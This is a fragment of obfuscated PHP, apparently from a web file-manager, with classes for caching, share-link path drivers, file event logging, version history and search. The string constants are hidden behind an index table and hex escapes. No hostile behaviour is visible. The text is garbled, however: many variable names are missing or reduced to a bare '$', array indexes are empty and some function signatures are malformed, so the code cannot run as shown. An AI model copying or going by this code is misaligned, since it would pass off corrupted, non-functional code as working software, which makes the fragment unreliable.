$ψց[$_SERVER[][468]]; $߄ += 1; $ += $ψց[$_SERVER[][76]]; $ += 1; $ += $ψց[$_SERVER[][76]]; if ($ >= 1024 * 1024 * 100) { $߰ = array($_SERVER[][817] => $, $_SERVER[][818] => $, $_SERVER[][819] => $); Backup::set($߰); $ = $߄ = 0; } } $ = count($); $++; } while ($ == $˸Ȼ); $럞İ->end(); $߰ = array($_SERVER[][820] => 1, $_SERVER[][758] => time(), $_SERVER[][772] => 1, $_SERVER[][817] => $, $_SERVER[][809] => $״䆈, $_SERVER[][808] => $ء, $_SERVER[][821] => time()); if ($߄) { $߰[$_SERVER[][818]] = $; $߰[$_SERVER[][819]] = $; } Backup::set($߰); $this->_fileFilter($襂); return !0; } private function _fileExist($冀, &$, $) { $ =& $_SERVER[]; $竭 = $冀[$[84]]; if (in_array($冀[$[468]], $)) { return !1; } if (!in_array($冀[$[814]], $)) { return !1; } if (IO::exist($竭)) { return !0; } $ = get_path_father($竭); if (IO::exist($)) { $[] = $冀[$[468]]; return !1; } $ = array($[814] => $冀[$[814]], $[84] => array($[383], "{$}\45")); $ʙؠ = Model($[786])->where($)->field($[469])->select(); $ = array_merge($, array_to_keyvalue($ʙؠ, $[12], $[468])); return !1; } private function _fileFilter($ԄՖ) { $ʪ =& $_SERVER[]; if (empty($ԄՖ)) { return; } $ԑߎ = array($ʪ[468] => array($ʪ[7], array_unique($ԄՖ))); $输 = Model($ʪ[822])->where($ԑߎ)->field($ʪ[402])->select(); foreach ($输 as $֍) { Model($ʪ[822])->remove($֍[$ʪ[402]], !1); } } private function storeIds() { $ =& $_SERVER[]; $݅ = Model($[764])->listData(); $ = array(); $Ȍ = $GLOBALS[$[6]][$[89]][$[823]]; foreach ($݅ as $མՈ) { $ = strtolower($མՈ[$[95]]); if (!isset($Ȍ[$])) { continue; } $䪷 = $[74] . (isset($Ȍ[$]) ? $Ȍ[$] : ucfirst($)); if (!class_exists($䪷)) { continue; } $[] = $མՈ[$[399]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $Ǿ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$Ǿ[6]][$Ǿ[349]]; $ = $[$[$Ǿ[824]]]; $ؐ = $[$Ǿ[825]]; switch ($[$Ǿ[824]]) { case $Ǿ[21]: self::$handle = Model($Ǿ[826]); break; case $Ǿ[827]: self::$handle = new CacheRedis($, $ؐ); break; case $Ǿ[828]: self::$handle = new CacheMemcached($, $ؐ); break; case $Ǿ[200]: self::$handle = new CacheFile($, $ؐ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ʩ) { if (is_array($ʩ) || is_object($ʩ)) { $ʩ = json_encode($ʩ); } $ʩ = rawurlencode($ʩ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ʩ); } public static function get($㏕, $ = false) { $钂 = self::key($㏕); if ($) { return unserialize(self::init()->get($钂)); } if (!isset(self::$memoryCache[$钂])) { $ = self::init()->get($钂); self::$memoryCache[$钂] = unserialize($); } return self::$memoryCache[$钂]; } public static function set($, $, $ = false) { $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } CacheLock::lock($); $® = self::init()->set($, serialize($), $); self::$memoryCache[$] = $; CacheLock::unlock($); return $®; } public static function getCall($, $Ìͥ, $, $ = array()) { $ =& $_SERVER[]; $崫 = self::get($); if ($崫 || $崫 === $[12]) { return $崫; } $崫 = call_user_func_array($, $); $崫 = $崫 ? $崫 : $[12]; self::set($, $崫, $Ìͥ); return $崫; } public static function remove($ڮϲ) { $ލ = self::key($ڮϲ); unset(self::$memoryCache[$ލ]); self::clearTimeout(); CacheLock::lock($ڮϲ); $ = self::init()->remove($ލ); CacheLock::unlock($ڮϲ); return $; } public static function removeMemory($ޗ) { $ = self::key($ޗ); unset(self::$memoryCache[$]); } public static function clearMemory($ڞ = false) { if ($ڞ) { $ڞ = self::key($ڞ); unset(self::$memoryCache[$ڞ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][829])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][830])) { self::init()->clearTimeout(); } } } $_file = $_SERVER[$_SERVER[][736]]; goto e; b݉: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($䡎؏, $ә) { $ =& $_SERVER[]; if (method_exists($this, $䡎؏)) { return; } $ۙ = call_user_func_array(array($[1345], $䡎؏), $ә); $¹ = array($[1346], $[1347], $[1348], $[1349], $[546], $[548], $[1350], $[107], $[1351], $[1352]); if (in_array($䡎؏, $¹)) { $ۙ = $this->getPathOuter($ۙ); } return $ۙ; } public function copy($͵, $, $ = false, $١ = false) { return $this->copyMove($͵, $, $, $_SERVER[][546], $١); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][548], $); } private function copyMove($, $, $ɬ, $ƍ, $ = false) { $㗉 =& $_SERVER[]; $坾 = $; $Ԍǚ = IO::driverMake($); if ($Ԍǚ->pathParse[$㗉[1147]]) { $ = $Ԍǚ->pathParse[$㗉[1147]]; } else { $ = $坾; } $ь = IO::copyMove($, $, $ɬ, $ƍ, $); $ь = $this->getPathOuter($ь); return $ь; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][84]]); } public function pathFather($;) { return get_path_father($this->pathParse[$_SERVER[][84]]); } public function iconvSystem($쨭) { return $쨭; } protected function infoParse($ɗڽׅ, $φ = false) { $ΐ =& $_SERVER[]; $Ɂ = $this->pathParse[$ΐ[486]][$ΐ[1171]] . $this->pathParse[$ΐ[1164]]; if ($φ) { $ӌ܂ = IO::infoWithChildren($Ɂ); } else { $ӌ܂ = IO::info($Ɂ); } $߽ = $this->pathParse[$ΐ[486]]; return Action($ΐ[1343])->_shareItemeParse($ӌ܂, $߽); } public function listAll($ə) { $ւ =& $_SERVER[]; $ = IO::listAll($ə); $궙 = rtrim($this->pathParse[$ւ[486]][$ւ[1171]], $ւ[8]); foreach ($ as &$ʲ) { $ʲ[$ւ[84]] = $this->pathDriver . $ւ[8] . ltrim(substr($ʲ[$ւ[84]], strlen($궙)), $ւ[8]); } unset($ʲ); return $; } public function listAllSimple($Ɠक़, $䌮Ȝ = false) { $Ң =& $_SERVER[]; $ܧ = $this->listAll($Ɠक़); $ = $this->pathParse[$Ң[421]]; if (trim($, $Ң[8]) == trim(get_path_father($), $Ң[8])) { $䌮Ȝ = !0; } return IO::init($Ң[12])->listAllSimpleMake($ܧ, $, $䌮Ȝ); } public function getPathOuter($) { $缉 =& $_SERVER[]; $ = KodIO::parse($); if ($[$缉[33]] == KodIO::KOD_SHARE_ITEM) { return $[$缉[84]]; } $۾ = KodIO::clear($); $ζ = KodIO::clear($this->pathParse[$缉[486]][$缉[1171]]); $Ճ = substr($۾, strlen($ζ)); if (substr($۾, 0, strlen($ζ)) != $ζ) { return !1; } return $this->pathParse[$缉[1165]] . $缉[8] . ltrim($Ճ, $缉[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($۩) { return $this->infoParse($۩); } public function infoAuth($顸) { return $this->infoParse($顸); } public function infoWithChildren($ኩ) { return $this->infoParse($ኩ, !0); } public function infoFull($Ѯ) { return $this->infoParse($Ѯ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ˮ) { $this->pathParse = $ˮ; } protected function infoParse($Ě, $ = false) { $Ł =& $_SERVER[]; return Action($Ł[1170])->sharePathInfo($this->pathParse[$Ł[84]], !0, $); } public function listPath($ù, $ = false) { $ᾏ =& $_SERVER[]; $ʇ = IO::listPath($ù, $); if (!$ʇ) { return $ʇ; } if (is_array($ʇ[$ᾏ[1344]])) { $ = Action($ᾏ[1353])->parsePathChildren($ʇ[$ᾏ[1344]], array($ᾏ[421] => $ù)); $ʇ[$ᾏ[1344]] = Action($ᾏ[1170])->shareItemInfo($); } foreach ($ʇ as $ᵯ => $塻) { if (!in_array($ᵯ, array($ᾏ[83], $ᾏ[82]))) { continue; } foreach ($塻 as $ => $) { $ = Action($ᾏ[1353])->parsePathChildren($, array($ᾏ[421] => $ù)); $ʇ[$ᵯ][$] = Action($ᾏ[1170])->shareItemInfo($); } } return $ʇ; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($ѡ) { parent::__construct($ѡ); } } goto bס; f: class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\x75\x72\143\145\x5f\145\x76\145\156\x74"; protected $dataAuto = array(array("\x63\x72\145\141\x74\x65\x54\151\155\x65", "\x74\151\155\145", "\151\156\163\x65\162\x74", "\x66\165\x6e\x63\x74\151\157\x6e"), array("\x64\145\x73\143", '', "\x69\156\163\145\x72\164\x2c\165\x70\144\141\164\145\x2c\163\145\x6c\145\143\x74", "\152\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ۨʨ, $Čܘ, $ = '') { $ɲ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($ɲ[1335])->sourceInfo($ۨʨ); if (!$) { return !1; } if ($this->isCacheEvent($, $Čܘ)) { return; } if ($ && is_string($)) { $ = array($ɲ[1891] => $); } $ĩ = array($ɲ[417] => $ۨʨ, $ɲ[2073] => $[$ɲ[432]], $ɲ[2074] => $[$ɲ[32]], $ɲ[509] => !empty($[$ɲ[509]]) ? $[$ɲ[509]] : $ɲ[12], $ɲ[1654] => USER_ID, $ɲ[422] => $Čܘ, $ɲ[1656] => $); $this->addSystemLog($Čܘ, $ĩ); unset($ĩ[$ɲ[2074]], $ĩ[$ɲ[509]]); return $this->add($ĩ); } private function addSystemLog($Լ, $Ν) { $ܝϋ =& $_SERVER[]; if ($Լ == $ܝϋ[2075]) { $Լ = $Ν[$ܝϋ[453]][$ܝϋ[2076]]; } else { if (in_array($Լ, array($ܝϋ[1832], $ܝϋ[2077]))) { $Լ = $Ν[$ܝϋ[453]][$ܝϋ[751]]; } } $ͤ = array_merge($Ν, array($ܝϋ[2078] => $Ν[$ܝϋ[402]], $ܝϋ[2079] => $Ν[$ܝϋ[2079]])); Hook::trigger($ܝϋ[2080], $ܝϋ[2081] . $Լ, $Ν); Model($ܝϋ[1796])->addLog($ܝϋ[2081] . $Լ, $ͤ); } private function isCacheEvent($, $) { if ($[$_SERVER[][411]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $) { $ԟ =& $_SERVER[]; $Ϩ = Model($ԟ[1335])->sourceInfo($); $ԯ = array($ԟ[2076] => $, $ԟ[32] => $Ϩ[$ԟ[32]]); return $this->addEvent($, $ԟ[2075], $ԯ); } public function eventFileEdit($㽿) { $̇ =& $_SERVER[]; $Ȑ = array($̇[2082] => $_SERVER[$̇[2083]], $̇[2084] => strtolower(ACTION)); if (isset($GLOBALS[$̇[7]][$̇[2085]])) { $Ȑ[$̇[2085]] = $̇[88]; } return $this->addEvent($㽿, $̇[1822], $Ȑ); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2077], $); } public function eventRemove($) { $َ =& $_SERVER[]; $ɐ = Model($َ[1335])->sourceInfo($); $Ʊ = $ɐ[$َ[32]]; return $this->addEvent($ɐ[$َ[432]], $َ[1821], $Ʊ); } public function eventShare($㹅, $) { return $this->addEvent($㹅, $_SERVER[][1832], $); } public function eventMove($ª, $, $ζ) { $ڎ =& $_SERVER[]; $ = Model($ڎ[1335]); $ = $->sourceInfo($ª); $̺ = $->sourceInfo($); $ = $->sourceInfo($ζ); $Ѷ̃ = array($ڎ[1156] => $, $ڎ[2086] => $̺[$ڎ[32]], $ڎ[2064] => !empty($̺[$ڎ[509]]) ? $̺[$ڎ[509]] : $ڎ[12], $ڎ[1157] => $ζ, $ڎ[2087] => $[$ڎ[32]], $ڎ[2088] => !empty($[$ڎ[509]]) ? $[$ڎ[509]] : $ڎ[12]); $this->addEvent($ª, $ڎ[548], $Ѷ̃); $ = $->sourceInfo($ª); $Ѷ̃ = array($ڎ[402] => $[$ڎ[402]], $ڎ[32] => $[$ڎ[32]]); $this->addEvent($, $ڎ[2089], $Ѷ̃); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][546]); } public function eventRename($, $ߚ̰, $) { $ =& $_SERVER[]; $ = array($[1156] => $ߚ̰, $[1157] => $); return $this->addEvent($, $[1350], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2090], $); } public function eventAddDesc($, $с) { return $this->addEvent($, $_SERVER[][2091], $с); } public function listBySource($Ɍخ) { $ =& $_SERVER[]; $Ӥ = Model($[1335])->sourceInfo($Ɍخ); $ת = array($[417] => $Ɍخ); if ($Ӥ[$[410]] == $[88]) { $츝 = Model($[1335])->listSearchChildren($Ɍخ, 20000); $츝[] = $Ɍخ . $[378]; $ת = array($[402] => array($[7], $츝)); } $Ρ = $this->where($ת)->order($[2092])->selectPage(); if ($Ρ[$[366]][$[367]] == 0) { $Ρ[$[366]][$[367]] = 1; $Ρ[$[369]] = array(array($[417] => $Ɍخ, $[2073] => $Ӥ[$[432]], $[1654] => $Ӥ[$[454]], $[422] => $[2093], $[423] => $Ӥ[$[201]], $[1656] => $[12])); } return $this->eventListParse($Ρ, $Ɍخ); } private function eventListParse($, $) { $Ė =& $_SERVER[]; $ֳ淀 = $[$Ė[369]]; $ = array_to_keyvalue($ֳ淀, $Ė[12], $Ė[402]); $ɩ = array_to_keyvalue($ֳ淀, $Ė[12], $Ė[2079]); foreach ($ֳ淀 as $) { $ʔţ = $[$Ė[453]]; if ($[$Ė[33]] == $Ė[548] && isset($ʔţ[$Ė[1156]])) { $[] = $ʔţ[$Ė[1156]] . $Ė[12]; $[] = $ʔţ[$Ė[1157]] . $Ė[12]; } if ($[$Ė[33]] == $Ė[2089] && isset($ʔţ[$Ė[402]])) { $[] = $ʔţ[$Ė[402]] . $Ė[12]; } } $ = array_merge($, $ɩ, array($ . $Ė[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($ֳ淀, $Ė[12], $Ė[1663])); $ = Model($Ė[525])->userListInfo($); $ = Model($Ė[822])->sourceListInfo($, !0); foreach ($ֳ淀 as &$) { if ($[$Ė[33]] == $Ė[548] && isset($[$Ė[453]][$Ė[1156]])) { $[$Ė[453]][$Ė[1156]] = $[$[$Ė[453]][$Ė[1156]]]; $[$Ė[453]][$Ė[1157]] = $[$[$Ė[453]][$Ė[1157]]]; } if ($[$Ė[33]] == $Ė[2089] && isset($[$Ė[453]][$Ė[402]])) { $[$Ė[453]][$Ė[402]] = $[$[$Ė[453]][$Ė[402]]]; } $[$Ė[87]] = $[$[$Ė[402]]]; $[$Ė[2094]] = $[$[$Ė[2079]]]; if ($[$Ė[33]] == $Ė[1821]) { $[$Ė[2094]] = $[$Ė[87]]; $[$Ė[2079]] = $[$Ė[2094]][$Ė[402]]; $[$Ė[87]] = !1; $[$Ė[402]] = $Ė[12]; } $[$Ė[2024]] = $[$[$Ė[1663]]]; } unset($); $[$Ė[369]] = $ֳ淀; return $; } public function removeBySource($ʈ) { $ßл = array($_SERVER[][417] => $ʈ); $this->where($ßл)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\x6f\165\x72\143\145\x5f\150\151\163\x74\157\x72\x79"; public function historyCount($ґ) { $ޟՅ =& $_SERVER[]; if (!$ґ) { return array(); } if (is_string($ґ) || is_int($ґ)) { $ґ = array($ґ); } $ = array($ޟՅ[402], $ޟՅ[1885] => $ޟՅ[491]); $ = array($ޟՅ[402] => array($ޟՅ[7], $ґ)); $֦ = $this->field($)->where($)->group($ޟՅ[402])->select(); return array_to_keyvalue($֦, $ޟՅ[402], $ޟՅ[491]); } public function addHistory($ɨ, $ߠꠘ = '') { $ =& $_SERVER[]; $ = array($[417] => $ɨ[$[402]], $[1654] => isset($ɨ[$[456]]) ? $ɨ[$[456]] : $ɨ[$[454]], $[469] => $ɨ[$[468]], $[545] => $ɨ[$[76]], $[2095] => $ߠꠘ); if ($GLOBALS[$[6]][$[89]][$[1213]] >= 1) { $this->historyAutoClear($[$[402]]); $this->add($); } Hook::trigger($[2096], $); Model($[2097])->eventFileEdit($ɨ[$[402]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $ = Model($[767])->get($[1235]); $ɍ᥌ = $GLOBALS[$[6]][$[89]][$[1213]]; $ʔ = $ == $[1236] ? min(5, $ɍ᥌) : $ɍ᥌; $ʔ = $ʔ <= 0 ? 0 : $ʔ - 1; if ($ʔ >= 500) { return; } $ = array($[417] => $); $ = $this->field($[2098])->where($)->order($[2092])->select(); if (!$ || $ʔ >= count($)) { return; } $劘 = array_to_keyvalue($, $[12], $[399]); $劘 = array_slice($劘, $ʔ); $х = array_to_keyvalue($, $[12], $[468]); $х = array_slice($х, $ʔ); if (!$劘 || !$х) { return; } $ = array($[419] => array($[7], $劘)); $this->where($)->delete(); Model($[471])->remove($х); } public function listData($) { $ɠ =& $_SERVER[]; $ᄀ = array($ɠ[417] => $); $ = $ɠ[2099]; $̣ = $this->field($)->where($ᄀ)->order($ɠ[2092])->selectPage(); $this->_listAppendUser($̣[$ɠ[369]]); $Ơ = Model($ɠ[767])->get($ɠ[1235]); $ܜˊ = 5; if ($Ơ == $ɠ[1236]) { $̣[$ɠ[369]] = array_slice($̣[$ɠ[369]], 0, $ܜˊ); $̣[$ɠ[366]] = array($ɠ[2100] => 1, $ɠ[2101] => 20, $ɠ[2102] => 1, $ɠ[2103] => count($̣[$ɠ[369]])); } return $̣; } protected function _listAppendUser(&$) { $ĵ =& $_SERVER[]; $ = array_to_keyvalue($, $ĵ[12], $ĵ[1663]); $͎ = Model($ĵ[525])->userListInfo($); foreach ($ as &$) { $ = $[$ĵ[1663]]; $[$ĵ[454]] = $͎[$] ? $͎[$] : !1; } unset($); } public function fileInfo($镁) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\x69\157\137\x66\x69\x6c\x65\x20\146\x69\154\x65\163\x20\157\156\40\x66\x69\x6c\145\163\56\146\x69\x6c\145\x49\x44\x20\75\x20\x68\151\x73\164\x6f\x72\x79\56\x66\x69\x6c\x65\111\x44"; return $this->alias($[2104])->where(array($[419] => $镁))->join($, $[2105])->find(); } public function removeItem($ع) { $ =& $_SERVER[]; $ʫ = array($[419] => $ع); $ҵ = $this->where($ʫ)->find(); if ($ҵ) { $ԝ = $this->where($ʫ)->delete(); Model($[471])->remove($ҵ[$[468]]); return $ԝ; } return !1; } public function removeBySource($Ԛ) { $ѝ =& $_SERVER[]; if (!$Ԛ) { return !1; } if (!is_array($Ԛ)) { $Ԛ = array($Ԛ); } $ = array($ѝ[417] => array($ѝ[7], $Ԛ)); $эݻ = $this->field($ѝ[469])->where($)->select(); if ($эݻ) { $this->where($)->delete(); $ = array_to_keyvalue($эݻ, $ѝ[12], $ѝ[468]); Model($ѝ[471])->remove($); } return !0; } public function setDetail($, $͕̱) { $ޗ =& $_SERVER[]; return $this->where(array($ޗ[419] => $))->save(array($ޗ[2095] => $͕̱)); } public function rollbackToItem($, $) { $͊ =& $_SERVER[]; $؏ = Model($͊[822])->sourceInfo($); $this->addHistory($؏, LNG($͊[2106])); $ = $this->find($); $ = array($͊[468] => $[$͊[468]], $͊[76] => $[$͊[76]], $͊[85] => time(), $͊[456] => USER_ID); Model($͊[822])->where(array($͊[402] => $))->save($); return $this->where(array($͊[419] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ߧ = $this->listData($); $ = array_to_keyvalue_group($ߧ, $[468]); $ͭ = array(); $ = array(); foreach ($ as $եم) { if (!$եم || count($եم) <= 1) { continue; } foreach ($եم as $) { $ͭ[] = $[$[468]]; $[] = $[$[399]]; } } if (!$) { return; } $this->where(array($[399] => array($[7], $)))->delete(); Model($[471])->remove($ͭ); } public function userSpace() { $ϫ =& $_SERVER[]; $㲵 = $this->tablePrefix; $ = array($ϫ[1654] => USER_ID); $ = "{$㲵}\151\x6f\x5f\146\151\x6c\x65\x20\x66\x69\x6c\145\163\40\157\x6e\40\146\x69\x6c\145\163\56\x66\x69\154\145\111\x44\40\75\40\x68\151\x73\164\157\162\x79\56\146\x69\154\x65\x49\x44"; return $this->alias($ϫ[2104])->where($)->join($, $ϫ[2105])->sum($ϫ[76]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($ȗ) { $߲ =& $_SERVER[]; $ޘ = KodIO::fileTypeList(); $ = $ޘ[$ȗ]; if (!$) { return array(); } $ΊǺ = $[$߲[174]]; $ٳ = $߲[7]; if (!$[$߲[174]]) { $Ҧ = array_to_keyvalue($ޘ, $߲[12], $߲[174]); $ΊǺ = implode($߲[50], $Ҧ); $ٳ = $߲[2107]; } $ = explode($߲[50], trim($ΊǺ, $߲[50])); return array($ٳ, $); } public function listPathType($ޘ) { $ =& $_SERVER[]; $ߟ = $this->fileTypeWhere($ޘ); if (!$ߟ) { return array(); } $ε = USER_ID; $Ĩ = Model($[525])->getInfo($ε); $Ԏ = array($[576] => SourceModel::TYPE_USER, $[511] => array($[540], $[521] . $Ĩ[$[87]][$[402]] . $[541]), $[577] => $ε, $[574] => 0, $[575] => $ߟ); return $this->listSource($Ԏ); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[1946]]) && $[$[1946]]) { $[$[1946]] = str_replace($[384], $[2108], trim($[$[1946]])); } $ = $this->_parseSearchWhere($); if (!isset($[$[431]])) { $[$[431]] = 0; } $ѝ = $[2109]; $ѐ҂ = $; $˵ = $ѝ; $this->_listSearchBindPinyin($, $, $ѝ); $this->alias($[446])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($ѝ)->where($)->selectPage($); if ($GLOBALS[$[6]][$[381]][$[382]] && Input::check($[$[1946]], $[583]) && $[$[366]][$[353]] == 1 && $[$[366]][$[367]] == 0) { $ = $this->distinct(!0)->field($ѝ)->where($ѐ҂)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $, $˵, $ѐ҂); $this->_listSearchDesc($, $, $˵); $this->_listSearchTag($, $, $˵); $this->_listSearchGroupTag($, $, $˵); $this->_listDataApply($[$[369]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$ۍ, $Ѓ, $, $) { $浶 =& $_SERVER[]; if (!$Ѓ[$浶[1946]] || $ۍ[$浶[366]][$浶[353]] > 1) { return; } if (!isset($[$浶[32]]) || !is_array($Ѓ[$浶[468]])) { return; } $[$浶[468]] = array($浶[7], $Ѓ[$浶[468]]); unset($[$浶[32]]); unset($Ѓ[$浶[468]]); $ = $this->field($)->where($)->limit($浶[2110])->select(); if (!$ || count($) == 0) { return; } $ۍ[$浶[369]] = array_merge($, $ۍ[$浶[369]]); $ۍ[$浶[366]][$浶[367]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1946]] || $[$[366]][$[353]] > 1) { return; } $ѳ˗ = Model($[2111])->listData(); $ = array(); $ˇ = $[$[1946]]; foreach ($ѳ˗ as $Ϣ) { $ = $Ϣ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $ˇ) !== !1 || stripos($, $ˇ) !== !1) { $[] = $Ϣ[$[399]]; } } if (!$) { return; } $ׯ = array($[426] => array($[7], $), $[1663] => USER_ID); $ = Model($[428])->field($[84])->where($ׯ)->select(); $ = array_to_keyvalue($, $[12], $[84]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$, $هͫܒ, $ǀ) { $ =& $_SERVER[]; if (!$هͫܒ[$[1946]] || $[$[366]][$[353]] > 1) { return; } $ = array($[94] => $[453], $[374] => array($[383], $[1948] . $هͫܒ[$[1946]] . $[1948])); $ק = !1; if ($ק) { $ = $this->listSearchChildren($هͫܒ[$[432]]); $ = array_unique($); if (!$) { return; } $[$[402]] = array($[7], $); } $۶۾ = Model($[560])->field($[402])->where($)->limit(5000)->select(); $ߌմ = array_to_keyvalue($۶۾, $[12], $[402]); $this->_listSearchMerge($, $هͫܒ, $ǀ, $ߌմ); } private function _listSearchGroupTag(&$ヿ, $, $ѓ) { $밐 =& $_SERVER[]; if (!$[$밐[1946]] || $ヿ[$밐[366]][$밐[353]] > 1 || !$[$밐[432]]) { return; } $ = $this->sourceInfo($[$밐[432]]); if (!$ || $[$밐[411]] != SourceModel::TYPE_GROUP) { return; } $ = $[$밐[496]]; $ = Model($밐[2112])->get($); $ = array(); $ٖݾ = $[$밐[1946]]; foreach ($[$밐[369]] as $) { $˞ = $[$밐[32]]; $ͫ = str_replace($밐[53], $밐[12], Pinyin::get($˞)); if (stripos($˞, $ٖݾ) !== !1 || stripos($ͫ, $ٖݾ) !== !1) { $[] = $[$밐[399]]; } } if (!$) { return; } $ǂ£ = array($밐[426] => array($밐[7], $), $밐[1663] => 0, $밐[33] => $밐[1968] . $); $ = Model($밐[428])->field($밐[84])->where($ǂ£)->select(); $ = array_to_keyvalue($, $밐[12], $밐[84]); $ = array_unique($); $this->_listSearchMerge($ヿ, $, $ѓ, $); } private function _listSearchMerge(&$, $՚۩, $¯얺, $) { $֢ޱ =& $_SERVER[]; if (!$) { return; } $ʞ = array_to_keyvalue($[$֢ޱ[369]], $֢ޱ[12], $֢ޱ[402]); $ = array_diff($, $ʞ); if (!$) { return; } $ = array($֢ޱ[402] => array($֢ޱ[7], $)); $ = $this->field($¯얺)->where($)->select(); if (!$) { return; } $Ϣ = array(); foreach ($ as $٦) { if ($this->_listSearchFilter($٦, $՚۩)) { $Ϣ[] = $٦; } } $[$֢ޱ[369]] = array_merge($Ϣ, $[$֢ޱ[369]]); $[$֢ޱ[366]][$֢ޱ[367]] += count($Ϣ); } private function _listSearchFilter($㇢, $) { $Ͽј =& $_SERVER[]; $Ԩ = $㇢[$Ͽј[410]] == $Ͽј[88]; if (!strstr($㇢[$Ͽј[511]], $Ͽј[50] . $[$Ͽј[432]] . $Ͽј[50])) { return !1; } if (isset($[$Ͽј[412]]) && $[$Ͽј[412]] != $Ͽј[1907]) { if ($[$Ͽј[412]] == $Ͽј[75] && !$Ԩ) { return !1; } if ($[$Ͽј[412]] != $Ͽј[75] && $Ԩ) { return !1; } if (!strstr($㇢[$Ͽј[174]], $Ͽј[50] . $[$Ͽј[412]] . $Ͽј[50])) { return !1; } } if (isset($[$Ͽј[2113]]) && $[$Ͽј[2113]] < $㇢[$Ͽј[76]]) { return !1; } if (isset($[$Ͽј[2114]]) && $[$Ͽј[2114]] > $㇢[$Ͽј[76]]) { return !1; } if (isset($[$Ͽј[590]]) && $[$Ͽј[590]] != $㇢[$Ͽј[456]]) { return !1; } return !0; } public function listSearchChildren($֨, $ = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($֨); $Ŗĸ = array($[511] => array($[383], $[$[511]] . $[$[402]] . $[541])); $ʑ = $this->field($[76])->where($Ŗĸ)->limit($ + 1)->select(); $ = is_array($ʑ) ? count($ʑ) : 0; if ($ > $) { return $this->_listSearchChildrenNear($֨, $); } $ר = $this->field($[402])->where($Ŗĸ)->select(); $ = array_to_keyvalue($ר, $[12], $[402]); return $; } private function _listSearchChildrenNear($߾, $ьȥ) { $ =& $_SERVER[]; $ = array(); $ = array($[432] => $߾); $満 = $this->field($[2115])->where($)->select(); $ѻ = array_to_keyvalue(array_filter_by_field($満, $[410], $[88]), $[12], $[402]); $ = array_merge($, array_to_keyvalue($満, $[12], $[402])); if (!$ѻ) { return $; } $ = array($[432] => array($[7], $ѻ)); $満 = $this->field($[2115])->where($)->limit($ьȥ)->select(); $ = array_merge($, array_to_keyvalue($満, $[12], $[402])); $ = array_slice($, 0, $ьȥ); return $; } private function _listSearchBindPinyin($聅, &$뢰, &$ݱ) { $О =& $_SERVER[]; if (!isset($聅[$О[1946]]) || !$聅[$О[1946]]) { return; } if (!Input::check($聅[$О[1946]], $О[318]) || strlen($聅[$О[1946]]) < 2) { return; } $ԑ = "\x4c\105\x46\124\40\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\151\157\x5f\163\x6f\x75\x72\x63\145\137\x6d\145\x74\x61\x20\x6d\x65\164\141\40\x6f\156\40\163\x6f\x75\x72\143\x65\56\163\x6f\x75\162\143\145\111\x44\40\75\x20\155\145\x74\141\56\163\x6f\165\x72\143\x65\x49\x44"; $Ɂ = array(); $ݱ = str_replace(array($О[231], $О[53], $О[2116]), $О[12], $ݱ); $ݱ = $О[438] . str_replace($О[50], $О[439], $ݱ); $܍ = $뢰[$О[32]]; unset($뢰[$О[32]]); foreach ($뢰 as $̞ => $) { $Ɂ[$О[438] . $̞] = $; } foreach ($܍ as $Ι) { $Ɂ[] = array($О[443] => $Ι, $О[996] => $О[1950], array($О[2117] => $Ι, $О[2118] => array($О[7], array($О[465], $О[464])))); } $this->join($ԑ); $뢰 = $Ɂ; } private function _parseSearchWhere($҈) { $ȼ =& $_SERVER[]; $炦 = array(); if (isset($҈[$ȼ[757]]) && $҈[$ȼ[757]]) { $炦[$ȼ[85]] = array($ȼ[2119], $҈[$ȼ[757]]); } if (isset($҈[$ȼ[758]]) && $҈[$ȼ[758]]) { $ʴ = array($ȼ[2120], $҈[$ȼ[758]]); if ($炦[$ȼ[85]]) { $炦[$ȼ[85]] = array($炦[$ȼ[85]], $ʴ, $ȼ[2121]); } else { $炦[$ȼ[85]] = $ʴ; } } if (isset($҈[$ȼ[2113]]) && $҈[$ȼ[2113]] > 0) { $炦[$ȼ[76]] = array($ȼ[2119], $҈[$ȼ[2113]]); } if 